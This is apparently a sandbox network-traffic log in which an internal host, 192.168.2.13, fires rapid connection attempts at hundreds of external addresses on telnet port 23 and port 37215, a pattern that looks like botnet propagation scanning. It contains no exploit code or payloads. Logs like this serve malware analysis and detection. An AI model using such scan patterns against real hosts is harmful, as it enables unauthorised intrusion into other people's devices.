Dec 3, 2024 21:47:19.063692093 CET	40955	23	192.168.2.13	205.110.19.91
Dec 3, 2024 21:47:19.063694000 CET	40955	23	192.168.2.13	146.50.167.150
Dec 3, 2024 21:47:19.063708067 CET	40955	23	192.168.2.13	146.219.95.147
Dec 3, 2024 21:47:19.063709974 CET	40955	23	192.168.2.13	190.227.77.177
Dec 3, 2024 21:47:19.063725948 CET	40955	23	192.168.2.13	131.163.203.174
Dec 3, 2024 21:47:19.063726902 CET	40955	23	192.168.2.13	44.203.42.233
Dec 3, 2024 21:47:19.063731909 CET	40955	23	192.168.2.13	166.187.130.223
Dec 3, 2024 21:47:19.080518007 CET	34043	37215	192.168.2.13	197.221.207.15
Dec 3, 2024 21:47:19.080601931 CET	34043	37215	192.168.2.13	197.224.211.15
Dec 3, 2024 21:47:19.080609083 CET	34043	37215	192.168.2.13	156.66.126.154
Dec 3, 2024 21:47:19.080646992 CET	34043	37215	192.168.2.13	197.106.207.25
Dec 3, 2024 21:47:19.080660105 CET	34043	37215	192.168.2.13	41.151.160.146
Dec 3, 2024 21:47:19.080666065 CET	34043	37215	192.168.2.13	197.114.20.63
Dec 3, 2024 21:47:19.080697060 CET	34043	37215	192.168.2.13	197.219.207.119
Dec 3, 2024 21:47:19.080698967 CET	34043	37215	192.168.2.13	156.23.205.243
Dec 3, 2024 21:47:19.080705881 CET	34043	37215	192.168.2.13	156.96.86.96
Dec 3, 2024 21:47:19.080709934 CET	34043	37215	192.168.2.13	197.126.215.55
Dec 3, 2024 21:47:19.080718040 CET	34043	37215	192.168.2.13	41.103.161.199
Dec 3, 2024 21:47:19.080750942 CET	34043	37215	192.168.2.13	197.251.78.164
Dec 3, 2024 21:47:19.080760956 CET	34043	37215	192.168.2.13	41.239.79.6
Dec 3, 2024 21:47:19.080770016 CET	34043	37215	192.168.2.13	197.192.145.251
Dec 3, 2024 21:47:19.080799103 CET	34043	37215	192.168.2.13	41.97.222.145
Dec 3, 2024 21:47:19.080802917 CET	34043	37215	192.168.2.13	197.14.100.117
Dec 3, 2024 21:47:19.080815077 CET	34043	37215	192.168.2.13	156.115.48.103
Dec 3, 2024 21:47:19.080823898 CET	34043	37215	192.168.2.13	156.70.157.241
Dec 3, 2024 21:47:19.080823898 CET	34043	37215	192.168.2.13	197.17.180.33
Dec 3, 2024 21:47:19.080854893 CET	34043	37215	192.168.2.13	197.32.167.183
Dec 3, 2024 21:47:19.080857992 CET	34043	37215	192.168.2.13	41.207.183.43
Dec 3, 2024 21:47:19.080871105 CET	34043	37215	192.168.2.13	41.95.155.141
Dec 3, 2024 21:47:19.080873013 CET	34043	37215	192.168.2.13	156.152.12.250
Dec 3, 2024 21:47:19.080910921 CET	34043	37215	192.168.2.13	156.193.120.205
Dec 3, 2024 21:47:19.080914974 CET	34043	37215	192.168.2.13	41.156.130.117
Dec 3, 2024 21:47:19.080929995 CET	34043	37215	192.168.2.13	41.185.57.137
Dec 3, 2024 21:47:19.080929995 CET	34043	37215	192.168.2.13	41.205.115.231
Dec 3, 2024 21:47:19.080954075 CET	34043	37215	192.168.2.13	197.92.90.189
Dec 3, 2024 21:47:19.080954075 CET	34043	37215	192.168.2.13	197.82.121.25
Dec 3, 2024 21:47:19.080954075 CET	34043	37215	192.168.2.13	197.127.248.229
Dec 3, 2024 21:47:19.080970049 CET	34043	37215	192.168.2.13	41.88.174.205
Dec 3, 2024 21:47:19.081007004 CET	34043	37215	192.168.2.13	41.40.171.84
Dec 3, 2024 21:47:19.081007957 CET	34043	37215	192.168.2.13	156.0.197.164
Dec 3, 2024 21:47:19.081007957 CET	34043	37215	192.168.2.13	156.15.128.75
Dec 3, 2024 21:47:19.081010103 CET	34043	37215	192.168.2.13	156.5.138.111
Dec 3, 2024 21:47:19.081010103 CET	34043	37215	192.168.2.13	156.191.235.133
Dec 3, 2024 21:47:19.081024885 CET	34043	37215	192.168.2.13	197.239.38.190
Dec 3, 2024 21:47:19.081026077 CET	34043	37215	192.168.2.13	197.13.107.120
Dec 3, 2024 21:47:19.081027031 CET	34043	37215	192.168.2.13	197.104.215.142
Dec 3, 2024 21:47:19.081058025 CET	34043	37215	192.168.2.13	197.63.218.37
Dec 3, 2024 21:47:19.081079960 CET	34043	37215	192.168.2.13	156.65.95.28
Dec 3, 2024 21:47:19.081079960 CET	34043	37215	192.168.2.13	156.115.77.42
Dec 3, 2024 21:47:19.081080914 CET	34043	37215	192.168.2.13	41.187.167.108
Dec 3, 2024 21:47:19.081084967 CET	34043	37215	192.168.2.13	41.162.6.46
Dec 3, 2024 21:47:19.081085920 CET	34043	37215	192.168.2.13	156.116.31.37
Dec 3, 2024 21:47:19.081103086 CET	34043	37215	192.168.2.13	197.168.158.209
Dec 3, 2024 21:47:19.081125975 CET	34043	37215	192.168.2.13	41.227.94.26
Dec 3, 2024 21:47:19.081126928 CET	34043	37215	192.168.2.13	41.253.114.20
Dec 3, 2024 21:47:19.081137896 CET	34043	37215	192.168.2.13	41.158.228.71
Dec 3, 2024 21:47:19.081150055 CET	34043	37215	192.168.2.13	156.133.253.199
Dec 3, 2024 21:47:19.081152916 CET	34043	37215	192.168.2.13	41.9.255.155
Dec 3, 2024 21:47:19.081186056 CET	34043	37215	192.168.2.13	197.110.132.91
Dec 3, 2024 21:47:19.081188917 CET	34043	37215	192.168.2.13	197.139.186.13
Dec 3, 2024 21:47:19.081202030 CET	34043	37215	192.168.2.13	41.65.216.214
Dec 3, 2024 21:47:19.081204891 CET	34043	37215	192.168.2.13	41.172.148.39
Dec 3, 2024 21:47:19.081222057 CET	34043	37215	192.168.2.13	156.165.66.187
Dec 3, 2024 21:47:19.081222057 CET	34043	37215	192.168.2.13	41.136.120.23
Dec 3, 2024 21:47:19.081222057 CET	34043	37215	192.168.2.13	41.204.64.23
Dec 3, 2024 21:47:19.081228971 CET	34043	37215	192.168.2.13	197.4.100.17
Dec 3, 2024 21:47:19.081233025 CET	34043	37215	192.168.2.13	197.118.52.121
Dec 3, 2024 21:47:19.081265926 CET	34043	37215	192.168.2.13	156.40.156.94
Dec 3, 2024 21:47:19.081268072 CET	34043	37215	192.168.2.13	156.244.4.37
Dec 3, 2024 21:47:19.081279993 CET	34043	37215	192.168.2.13	41.152.124.141
Dec 3, 2024 21:47:19.081288099 CET	34043	37215	192.168.2.13	156.222.183.150
Dec 3, 2024 21:47:19.081322908 CET	34043	37215	192.168.2.13	41.1.209.2
Dec 3, 2024 21:47:19.081326008 CET	34043	37215	192.168.2.13	41.31.134.117
Dec 3, 2024 21:47:19.081329107 CET	34043	37215	192.168.2.13	197.163.109.127
Dec 3, 2024 21:47:19.081341028 CET	34043	37215	192.168.2.13	156.70.229.216
Dec 3, 2024 21:47:19.081351995 CET	34043	37215	192.168.2.13	197.248.208.27
Dec 3, 2024 21:47:19.081379890 CET	34043	37215	192.168.2.13	156.100.135.239
Dec 3, 2024 21:47:19.081382990 CET	34043	37215	192.168.2.13	41.232.139.167
Dec 3, 2024 21:47:19.081392050 CET	34043	37215	192.168.2.13	156.136.84.0
Dec 3, 2024 21:47:19.081394911 CET	34043	37215	192.168.2.13	156.98.101.133
Dec 3, 2024 21:47:19.081406116 CET	34043	37215	192.168.2.13	156.255.140.208
Dec 3, 2024 21:47:19.081412077 CET	34043	37215	192.168.2.13	41.76.1.190
Dec 3, 2024 21:47:19.081444979 CET	34043	37215	192.168.2.13	156.169.87.19
Dec 3, 2024 21:47:19.081449032 CET	34043	37215	192.168.2.13	41.251.234.94
Dec 3, 2024 21:47:19.081450939 CET	34043	37215	192.168.2.13	41.188.177.172
Dec 3, 2024 21:47:19.081459999 CET	34043	37215	192.168.2.13	156.79.11.62
Dec 3, 2024 21:47:19.081463099 CET	34043	37215	192.168.2.13	41.23.175.166
Dec 3, 2024 21:47:19.081500053 CET	34043	37215	192.168.2.13	197.27.117.55
Dec 3, 2024 21:47:19.081501007 CET	34043	37215	192.168.2.13	156.49.88.174
Dec 3, 2024 21:47:19.081511021 CET	34043	37215	192.168.2.13	156.248.57.203
Dec 3, 2024 21:47:19.081521034 CET	34043	37215	192.168.2.13	41.64.139.245
Dec 3, 2024 21:47:19.081553936 CET	34043	37215	192.168.2.13	156.232.61.163
Dec 3, 2024 21:47:19.081554890 CET	34043	37215	192.168.2.13	41.50.14.168
Dec 3, 2024 21:47:19.081554890 CET	34043	37215	192.168.2.13	156.155.15.64
Dec 3, 2024 21:47:19.081571102 CET	34043	37215	192.168.2.13	41.245.111.56
Dec 3, 2024 21:47:19.081576109 CET	34043	37215	192.168.2.13	197.194.174.142
Dec 3, 2024 21:47:19.081578016 CET	34043	37215	192.168.2.13	41.107.67.218
Dec 3, 2024 21:47:19.081607103 CET	34043	37215	192.168.2.13	156.70.176.17
Dec 3, 2024 21:47:19.081610918 CET	34043	37215	192.168.2.13	156.0.78.63
Dec 3, 2024 21:47:19.081623077 CET	34043	37215	192.168.2.13	41.170.32.103
Dec 3, 2024 21:47:19.081628084 CET	34043	37215	192.168.2.13	156.215.137.64
Dec 3, 2024 21:47:19.081639051 CET	34043	37215	192.168.2.13	197.106.106.5
Dec 3, 2024 21:47:19.081666946 CET	34043	37215	192.168.2.13	197.73.254.251
Dec 3, 2024 21:47:19.081666946 CET	34043	37215	192.168.2.13	197.102.141.60
Dec 3, 2024 21:47:19.081682920 CET	34043	37215	192.168.2.13	156.71.152.18
Dec 3, 2024 21:47:19.081686974 CET	34043	37215	192.168.2.13	156.81.110.151
Dec 3, 2024 21:47:19.081686974 CET	34043	37215	192.168.2.13	41.75.63.48
Dec 3, 2024 21:47:19.081688881 CET	34043	37215	192.168.2.13	197.60.212.158
Dec 3, 2024 21:47:19.081690073 CET	34043	37215	192.168.2.13	156.56.101.43
Dec 3, 2024 21:47:19.081692934 CET	34043	37215	192.168.2.13	41.91.252.128
Dec 3, 2024 21:47:19.081727982 CET	34043	37215	192.168.2.13	156.130.14.95
Dec 3, 2024 21:47:19.081728935 CET	34043	37215	192.168.2.13	197.8.208.62
Dec 3, 2024 21:47:19.081728935 CET	34043	37215	192.168.2.13	41.248.162.34
Dec 3, 2024 21:47:19.081743956 CET	34043	37215	192.168.2.13	41.240.231.65
Dec 3, 2024 21:47:19.081744909 CET	34043	37215	192.168.2.13	41.79.16.197
Dec 3, 2024 21:47:19.081748009 CET	34043	37215	192.168.2.13	156.114.52.223
Dec 3, 2024 21:47:19.081782103 CET	34043	37215	192.168.2.13	156.170.221.66
Dec 3, 2024 21:47:19.081783056 CET	34043	37215	192.168.2.13	197.91.52.95
Dec 3, 2024 21:47:19.081789970 CET	34043	37215	192.168.2.13	41.11.28.244
Dec 3, 2024 21:47:19.081799030 CET	34043	37215	192.168.2.13	197.6.198.202
Dec 3, 2024 21:47:19.081806898 CET	34043	37215	192.168.2.13	41.19.116.150
Dec 3, 2024 21:47:19.081815004 CET	34043	37215	192.168.2.13	41.100.57.95
Dec 3, 2024 21:47:19.081816912 CET	34043	37215	192.168.2.13	197.1.220.17
Dec 3, 2024 21:47:19.081852913 CET	34043	37215	192.168.2.13	156.213.40.148
Dec 3, 2024 21:47:19.081854105 CET	34043	37215	192.168.2.13	41.229.132.95
Dec 3, 2024 21:47:19.081867933 CET	34043	37215	192.168.2.13	41.77.49.38
Dec 3, 2024 21:47:19.081868887 CET	34043	37215	192.168.2.13	197.94.1.109
Dec 3, 2024 21:47:19.081881046 CET	34043	37215	192.168.2.13	197.136.21.101
Dec 3, 2024 21:47:19.081887007 CET	34043	37215	192.168.2.13	156.236.202.154
Dec 3, 2024 21:47:19.081887960 CET	34043	37215	192.168.2.13	156.212.118.66
Dec 3, 2024 21:47:19.081896067 CET	34043	37215	192.168.2.13	197.248.211.80
Dec 3, 2024 21:47:19.081923008 CET	34043	37215	192.168.2.13	156.68.163.72
Dec 3, 2024 21:47:19.081929922 CET	34043	37215	192.168.2.13	41.221.98.43
Dec 3, 2024 21:47:19.081935883 CET	34043	37215	192.168.2.13	156.10.52.106
Dec 3, 2024 21:47:19.081944942 CET	34043	37215	192.168.2.13	41.199.104.191
Dec 3, 2024 21:47:19.081958055 CET	34043	37215	192.168.2.13	156.214.94.114
Dec 3, 2024 21:47:19.081981897 CET	34043	37215	192.168.2.13	197.61.219.167
Dec 3, 2024 21:47:19.081984997 CET	34043	37215	192.168.2.13	156.127.95.132
Dec 3, 2024 21:47:19.081984997 CET	34043	37215	192.168.2.13	197.151.237.234
Dec 3, 2024 21:47:19.081995964 CET	34043	37215	192.168.2.13	156.83.42.2
Dec 3, 2024 21:47:19.081995964 CET	34043	37215	192.168.2.13	41.156.20.53
Dec 3, 2024 21:47:19.082015038 CET	34043	37215	192.168.2.13	156.192.194.157
Dec 3, 2024 21:47:19.082035065 CET	34043	37215	192.168.2.13	41.23.153.138
Dec 3, 2024 21:47:19.082035065 CET	34043	37215	192.168.2.13	197.1.251.75
Dec 3, 2024 21:47:19.082055092 CET	34043	37215	192.168.2.13	41.78.54.140
Dec 3, 2024 21:47:19.082055092 CET	34043	37215	192.168.2.13	41.178.119.255
Dec 3, 2024 21:47:19.082055092 CET	34043	37215	192.168.2.13	41.157.207.199
Dec 3, 2024 21:47:19.082061052 CET	34043	37215	192.168.2.13	197.59.60.13
Dec 3, 2024 21:47:19.082099915 CET	34043	37215	192.168.2.13	156.55.217.67
Dec 3, 2024 21:47:19.082099915 CET	34043	37215	192.168.2.13	41.138.87.223
Dec 3, 2024 21:47:19.082102060 CET	34043	37215	192.168.2.13	41.58.128.91
Dec 3, 2024 21:47:19.082108974 CET	34043	37215	192.168.2.13	156.85.60.59
Dec 3, 2024 21:47:19.082122087 CET	34043	37215	192.168.2.13	41.197.91.236
Dec 3, 2024 21:47:19.082153082 CET	34043	37215	192.168.2.13	156.70.243.227
Dec 3, 2024 21:47:19.082153082 CET	34043	37215	192.168.2.13	197.5.35.185
Dec 3, 2024 21:47:19.082159042 CET	34043	37215	192.168.2.13	156.27.24.20
Dec 3, 2024 21:47:19.082173109 CET	34043	37215	192.168.2.13	197.97.222.163
Dec 3, 2024 21:47:19.082175016 CET	34043	37215	192.168.2.13	156.251.186.249
Dec 3, 2024 21:47:19.082176924 CET	34043	37215	192.168.2.13	41.5.163.14
Dec 3, 2024 21:47:19.082206964 CET	34043	37215	192.168.2.13	156.95.34.197
Dec 3, 2024 21:47:19.082211018 CET	34043	37215	192.168.2.13	41.234.138.30
Dec 3, 2024 21:47:19.082223892 CET	34043	37215	192.168.2.13	41.150.189.71
Dec 3, 2024 21:47:19.082223892 CET	34043	37215	192.168.2.13	197.12.36.54
Dec 3, 2024 21:47:19.082237959 CET	34043	37215	192.168.2.13	41.36.147.234
Dec 3, 2024 21:47:19.082271099 CET	34043	37215	192.168.2.13	156.110.107.113
Dec 3, 2024 21:47:19.082273006 CET	34043	37215	192.168.2.13	197.19.20.73
Dec 3, 2024 21:47:19.082273960 CET	34043	37215	192.168.2.13	41.126.37.220
Dec 3, 2024 21:47:19.082283974 CET	34043	37215	192.168.2.13	41.102.145.131
Dec 3, 2024 21:47:19.082293987 CET	34043	37215	192.168.2.13	197.41.156.0
Dec 3, 2024 21:47:19.082297087 CET	34043	37215	192.168.2.13	41.55.238.207
Dec 3, 2024 21:47:19.082344055 CET	34043	37215	192.168.2.13	41.100.66.13
Dec 3, 2024 21:47:19.082359076 CET	34043	37215	192.168.2.13	41.110.111.8
Dec 3, 2024 21:47:19.082369089 CET	34043	37215	192.168.2.13	197.157.81.87
Dec 3, 2024 21:47:19.082371950 CET	34043	37215	192.168.2.13	197.20.218.255
Dec 3, 2024 21:47:19.082374096 CET	34043	37215	192.168.2.13	197.116.61.29
Dec 3, 2024 21:47:19.082386971 CET	34043	37215	192.168.2.13	197.3.151.14
Dec 3, 2024 21:47:19.082389116 CET	34043	37215	192.168.2.13	41.117.149.216
Dec 3, 2024 21:47:19.082391024 CET	34043	37215	192.168.2.13	156.142.100.78
Dec 3, 2024 21:47:19.082402945 CET	34043	37215	192.168.2.13	197.143.1.129
Dec 3, 2024 21:47:19.082406998 CET	34043	37215	192.168.2.13	41.154.123.208
Dec 3, 2024 21:47:19.082421064 CET	34043	37215	192.168.2.13	156.25.227.114
Dec 3, 2024 21:47:19.082422018 CET	34043	37215	192.168.2.13	41.43.70.53
Dec 3, 2024 21:47:19.082434893 CET	34043	37215	192.168.2.13	156.145.100.84
Dec 3, 2024 21:47:19.082437038 CET	34043	37215	192.168.2.13	41.107.196.107
Dec 3, 2024 21:47:19.082443953 CET	34043	37215	192.168.2.13	197.142.178.179
Dec 3, 2024 21:47:19.082453966 CET	34043	37215	192.168.2.13	156.9.1.248
Dec 3, 2024 21:47:19.082463980 CET	34043	37215	192.168.2.13	197.89.161.91
Dec 3, 2024 21:47:19.082474947 CET	34043	37215	192.168.2.13	197.224.145.184
Dec 3, 2024 21:47:19.082478046 CET	34043	37215	192.168.2.13	41.154.42.169
Dec 3, 2024 21:47:19.082478046 CET	34043	37215	192.168.2.13	41.87.225.135
Dec 3, 2024 21:47:19.082484961 CET	34043	37215	192.168.2.13	197.61.98.246
Dec 3, 2024 21:47:19.082499981 CET	34043	37215	192.168.2.13	41.31.253.79
Dec 3, 2024 21:47:19.082503080 CET	34043	37215	192.168.2.13	156.130.180.229
Dec 3, 2024 21:47:19.082504988 CET	34043	37215	192.168.2.13	41.242.92.240
Dec 3, 2024 21:47:19.082520008 CET	34043	37215	192.168.2.13	41.212.250.68
Dec 3, 2024 21:47:19.082520008 CET	34043	37215	192.168.2.13	197.213.63.226
Dec 3, 2024 21:47:19.082521915 CET	34043	37215	192.168.2.13	197.238.42.167
Dec 3, 2024 21:47:19.082532883 CET	34043	37215	192.168.2.13	197.82.121.19
Dec 3, 2024 21:47:19.082532883 CET	34043	37215	192.168.2.13	41.1.131.187
Dec 3, 2024 21:47:19.082535982 CET	34043	37215	192.168.2.13	156.159.184.242
Dec 3, 2024 21:47:19.082545042 CET	34043	37215	192.168.2.13	197.1.44.176
Dec 3, 2024 21:47:19.082551003 CET	34043	37215	192.168.2.13	41.117.207.245
Dec 3, 2024 21:47:19.082561016 CET	34043	37215	192.168.2.13	41.228.69.214
Dec 3, 2024 21:47:19.082570076 CET	34043	37215	192.168.2.13	156.201.218.59
Dec 3, 2024 21:47:19.082581043 CET	34043	37215	192.168.2.13	156.178.245.10
Dec 3, 2024 21:47:19.082590103 CET	34043	37215	192.168.2.13	156.155.135.219
Dec 3, 2024 21:47:19.082590103 CET	34043	37215	192.168.2.13	156.167.195.102
Dec 3, 2024 21:47:19.082597971 CET	34043	37215	192.168.2.13	41.62.50.76
Dec 3, 2024 21:47:19.082601070 CET	34043	37215	192.168.2.13	197.121.110.130
Dec 3, 2024 21:47:19.082617044 CET	34043	37215	192.168.2.13	197.16.245.37
Dec 3, 2024 21:47:19.082617998 CET	34043	37215	192.168.2.13	197.83.23.135
Dec 3, 2024 21:47:19.082629919 CET	34043	37215	192.168.2.13	41.46.63.10
Dec 3, 2024 21:47:19.082629919 CET	34043	37215	192.168.2.13	41.191.209.124
Dec 3, 2024 21:47:19.082636118 CET	34043	37215	192.168.2.13	41.96.64.244
Dec 3, 2024 21:47:19.082644939 CET	34043	37215	192.168.2.13	197.18.174.192
Dec 3, 2024 21:47:19.082648993 CET	34043	37215	192.168.2.13	197.187.78.159
Dec 3, 2024 21:47:19.082648993 CET	34043	37215	192.168.2.13	197.152.105.142
Dec 3, 2024 21:47:19.082659960 CET	34043	37215	192.168.2.13	156.52.103.43
Dec 3, 2024 21:47:19.082684040 CET	34043	37215	192.168.2.13	156.190.115.39
Dec 3, 2024 21:47:19.082684040 CET	34043	37215	192.168.2.13	156.219.68.36
Dec 3, 2024 21:47:19.082684040 CET	34043	37215	192.168.2.13	156.152.231.251
Dec 3, 2024 21:47:19.082741022 CET	34043	37215	192.168.2.13	41.215.11.182
Dec 3, 2024 21:47:19.082741022 CET	34043	37215	192.168.2.13	156.79.249.117
Dec 3, 2024 21:47:19.082746029 CET	34043	37215	192.168.2.13	41.65.248.225
Dec 3, 2024 21:47:19.082757950 CET	34043	37215	192.168.2.13	156.74.223.53
Dec 3, 2024 21:47:19.082765102 CET	34043	37215	192.168.2.13	156.95.24.24
Dec 3, 2024 21:47:19.082788944 CET	34043	37215	192.168.2.13	41.193.203.248
Dec 3, 2024 21:47:19.082789898 CET	34043	37215	192.168.2.13	41.219.87.68
Dec 3, 2024 21:47:19.082799911 CET	34043	37215	192.168.2.13	41.156.227.31
Dec 3, 2024 21:47:19.082802057 CET	34043	37215	192.168.2.13	197.235.78.35
Dec 3, 2024 21:47:19.082854986 CET	34043	37215	192.168.2.13	41.226.104.70
Dec 3, 2024 21:47:19.082875967 CET	34043	37215	192.168.2.13	197.46.144.219
Dec 3, 2024 21:47:19.082884073 CET	34043	37215	192.168.2.13	156.129.46.213
Dec 3, 2024 21:47:19.082890987 CET	34043	37215	192.168.2.13	41.79.250.223
Dec 3, 2024 21:47:19.082911015 CET	34043	37215	192.168.2.13	41.25.192.90
Dec 3, 2024 21:47:19.082912922 CET	34043	37215	192.168.2.13	41.95.234.8
Dec 3, 2024 21:47:19.082938910 CET	34043	37215	192.168.2.13	197.82.94.43
Dec 3, 2024 21:47:19.082950115 CET	34043	37215	192.168.2.13	41.252.65.181
Dec 3, 2024 21:47:19.082956076 CET	34043	37215	192.168.2.13	156.137.166.2
Dec 3, 2024 21:47:19.082962990 CET	34043	37215	192.168.2.13	156.100.9.88
Dec 3, 2024 21:47:19.082964897 CET	34043	37215	192.168.2.13	41.247.115.218
Dec 3, 2024 21:47:19.082983017 CET	34043	37215	192.168.2.13	197.75.141.25
Dec 3, 2024 21:47:19.083003998 CET	34043	37215	192.168.2.13	156.60.162.252
Dec 3, 2024 21:47:19.083007097 CET	34043	37215	192.168.2.13	156.31.71.16
Dec 3, 2024 21:47:19.083019972 CET	34043	37215	192.168.2.13	41.71.211.91
Dec 3, 2024 21:47:19.083023071 CET	34043	37215	192.168.2.13	197.79.227.4
Dec 3, 2024 21:47:19.083023071 CET	34043	37215	192.168.2.13	41.59.50.220
Dec 3, 2024 21:47:19.083040953 CET	34043	37215	192.168.2.13	156.12.214.88
Dec 3, 2024 21:47:19.083041906 CET	34043	37215	192.168.2.13	41.211.195.89
Dec 3, 2024 21:47:19.083041906 CET	34043	37215	192.168.2.13	41.168.146.205
Dec 3, 2024 21:47:19.083053112 CET	34043	37215	192.168.2.13	156.233.26.172
Dec 3, 2024 21:47:19.083074093 CET	34043	37215	192.168.2.13	197.183.41.23
Dec 3, 2024 21:47:19.083084106 CET	34043	37215	192.168.2.13	41.133.168.77
Dec 3, 2024 21:47:19.083091021 CET	34043	37215	192.168.2.13	197.96.174.202
Dec 3, 2024 21:47:19.083102942 CET	34043	37215	192.168.2.13	41.182.196.142
Dec 3, 2024 21:47:19.083102942 CET	34043	37215	192.168.2.13	197.144.54.219
Dec 3, 2024 21:47:19.083102942 CET	34043	37215	192.168.2.13	197.172.104.11
Dec 3, 2024 21:47:19.083116055 CET	34043	37215	192.168.2.13	156.41.16.163
Dec 3, 2024 21:47:19.083143950 CET	34043	37215	192.168.2.13	197.249.52.48
Dec 3, 2024 21:47:19.083161116 CET	34043	37215	192.168.2.13	156.236.223.180
Dec 3, 2024 21:47:19.083167076 CET	34043	37215	192.168.2.13	41.76.18.141
Dec 3, 2024 21:47:19.083169937 CET	34043	37215	192.168.2.13	197.190.166.133
Dec 3, 2024 21:47:19.083169937 CET	34043	37215	192.168.2.13	197.81.186.81
Dec 3, 2024 21:47:19.083170891 CET	34043	37215	192.168.2.13	156.75.23.19
Dec 3, 2024 21:47:19.083183050 CET	34043	37215	192.168.2.13	41.20.83.221
Dec 3, 2024 21:47:19.083189011 CET	34043	37215	192.168.2.13	197.98.224.213
Dec 3, 2024 21:47:19.083192110 CET	34043	37215	192.168.2.13	156.75.139.175
Dec 3, 2024 21:47:19.083192110 CET	34043	37215	192.168.2.13	156.157.42.2
Dec 3, 2024 21:47:19.083211899 CET	34043	37215	192.168.2.13	41.134.188.237
Dec 3, 2024 21:47:19.083224058 CET	34043	37215	192.168.2.13	41.194.130.211
Dec 3, 2024 21:47:19.083226919 CET	34043	37215	192.168.2.13	197.241.243.5
Dec 3, 2024 21:47:19.083241940 CET	34043	37215	192.168.2.13	156.201.89.42
Dec 3, 2024 21:47:19.083251953 CET	34043	37215	192.168.2.13	41.129.238.90
Dec 3, 2024 21:47:19.083271980 CET	34043	37215	192.168.2.13	41.243.47.47
Dec 3, 2024 21:47:19.083285093 CET	34043	37215	192.168.2.13	156.185.91.151
Dec 3, 2024 21:47:19.083285093 CET	34043	37215	192.168.2.13	156.148.47.97
Dec 3, 2024 21:47:19.083301067 CET	34043	37215	192.168.2.13	41.60.5.197
Dec 3, 2024 21:47:19.083301067 CET	34043	37215	192.168.2.13	156.153.186.180
Dec 3, 2024 21:47:19.083317995 CET	34043	37215	192.168.2.13	156.26.248.144
Dec 3, 2024 21:47:19.083342075 CET	34043	37215	192.168.2.13	41.14.91.34
Dec 3, 2024 21:47:19.083345890 CET	34043	37215	192.168.2.13	41.153.14.134
Dec 3, 2024 21:47:19.083354950 CET	34043	37215	192.168.2.13	197.221.29.177
Dec 3, 2024 21:47:19.083355904 CET	34043	37215	192.168.2.13	156.182.225.243
Dec 3, 2024 21:47:19.083355904 CET	34043	37215	192.168.2.13	41.141.223.213
Dec 3, 2024 21:47:19.083372116 CET	34043	37215	192.168.2.13	41.179.222.187
Dec 3, 2024 21:47:19.083375931 CET	34043	37215	192.168.2.13	156.20.166.19
Dec 3, 2024 21:47:19.083378077 CET	34043	37215	192.168.2.13	41.185.224.28
Dec 3, 2024 21:47:19.083380938 CET	34043	37215	192.168.2.13	156.106.7.226
Dec 3, 2024 21:47:19.083386898 CET	34043	37215	192.168.2.13	197.112.161.68
Dec 3, 2024 21:47:19.083415985 CET	34043	37215	192.168.2.13	197.249.186.7
Dec 3, 2024 21:47:19.083441019 CET	34043	37215	192.168.2.13	197.42.169.103
Dec 3, 2024 21:47:19.083441973 CET	34043	37215	192.168.2.13	197.246.54.25
Dec 3, 2024 21:47:19.083445072 CET	34043	37215	192.168.2.13	156.136.29.210
Dec 3, 2024 21:47:19.083444118 CET	34043	37215	192.168.2.13	197.9.121.225
Dec 3, 2024 21:47:19.083444118 CET	34043	37215	192.168.2.13	41.31.248.179
Dec 3, 2024 21:47:19.083444118 CET	34043	37215	192.168.2.13	41.164.99.122
Dec 3, 2024 21:47:19.083446980 CET	34043	37215	192.168.2.13	156.95.130.78
Dec 3, 2024 21:47:19.083448887 CET	34043	37215	192.168.2.13	156.226.118.255
Dec 3, 2024 21:47:19.083451986 CET	34043	37215	192.168.2.13	41.106.53.74
Dec 3, 2024 21:47:19.083455086 CET	34043	37215	192.168.2.13	197.206.238.183
Dec 3, 2024 21:47:19.083475113 CET	34043	37215	192.168.2.13	156.48.80.49
Dec 3, 2024 21:47:19.083483934 CET	34043	37215	192.168.2.13	41.251.90.231
Dec 3, 2024 21:47:19.083484888 CET	34043	37215	192.168.2.13	197.114.107.223
Dec 3, 2024 21:47:19.083498955 CET	34043	37215	192.168.2.13	41.110.161.214
Dec 3, 2024 21:47:19.083506107 CET	34043	37215	192.168.2.13	41.26.94.177
Dec 3, 2024 21:47:19.083513021 CET	34043	37215	192.168.2.13	41.218.109.15
Dec 3, 2024 21:47:19.083513975 CET	34043	37215	192.168.2.13	156.180.179.18
Dec 3, 2024 21:47:19.083538055 CET	34043	37215	192.168.2.13	197.120.74.32
Dec 3, 2024 21:47:19.083550930 CET	34043	37215	192.168.2.13	41.155.6.239
Dec 3, 2024 21:47:19.083556890 CET	34043	37215	192.168.2.13	156.107.16.161
Dec 3, 2024 21:47:19.083566904 CET	34043	37215	192.168.2.13	156.79.191.124
Dec 3, 2024 21:47:19.083568096 CET	34043	37215	192.168.2.13	156.50.187.214
Dec 3, 2024 21:47:19.083571911 CET	34043	37215	192.168.2.13	197.127.170.162
Dec 3, 2024 21:47:19.083581924 CET	34043	37215	192.168.2.13	156.221.182.226
Dec 3, 2024 21:47:19.083611965 CET	34043	37215	192.168.2.13	156.188.25.227
Dec 3, 2024 21:47:19.083626032 CET	34043	37215	192.168.2.13	156.46.98.65
Dec 3, 2024 21:47:19.083626032 CET	34043	37215	192.168.2.13	197.124.18.132
Dec 3, 2024 21:47:19.083632946 CET	34043	37215	192.168.2.13	41.121.59.170
Dec 3, 2024 21:47:19.083641052 CET	34043	37215	192.168.2.13	41.26.119.98
Dec 3, 2024 21:47:19.083643913 CET	34043	37215	192.168.2.13	197.130.39.66
Dec 3, 2024 21:47:19.083648920 CET	34043	37215	192.168.2.13	197.105.183.16
Dec 3, 2024 21:47:19.083669901 CET	34043	37215	192.168.2.13	156.71.240.94
Dec 3, 2024 21:47:19.083683014 CET	34043	37215	192.168.2.13	41.205.95.227
Dec 3, 2024 21:47:19.083683968 CET	34043	37215	192.168.2.13	156.233.252.128
Dec 3, 2024 21:47:19.083688974 CET	34043	37215	192.168.2.13	41.83.131.58
Dec 3, 2024 21:47:19.083697081 CET	34043	37215	192.168.2.13	156.90.225.212
Dec 3, 2024 21:47:19.083712101 CET	34043	37215	192.168.2.13	41.87.1.27
Dec 3, 2024 21:47:19.167309046 CET	80	39419	51.53.207.15	192.168.2.13
Dec 3, 2024 21:47:19.167351961 CET	80	39419	87.48.49.106	192.168.2.13
Dec 3, 2024 21:47:19.167367935 CET	80	39419	186.8.211.15	192.168.2.13
Dec 3, 2024 21:47:19.167398930 CET	39419	80	192.168.2.13	51.53.207.15
Dec 3, 2024 21:47:19.167402029 CET	39419	80	192.168.2.13	87.48.49.106
Dec 3, 2024 21:47:19.167416096 CET	39419	80	192.168.2.13	186.8.211.15
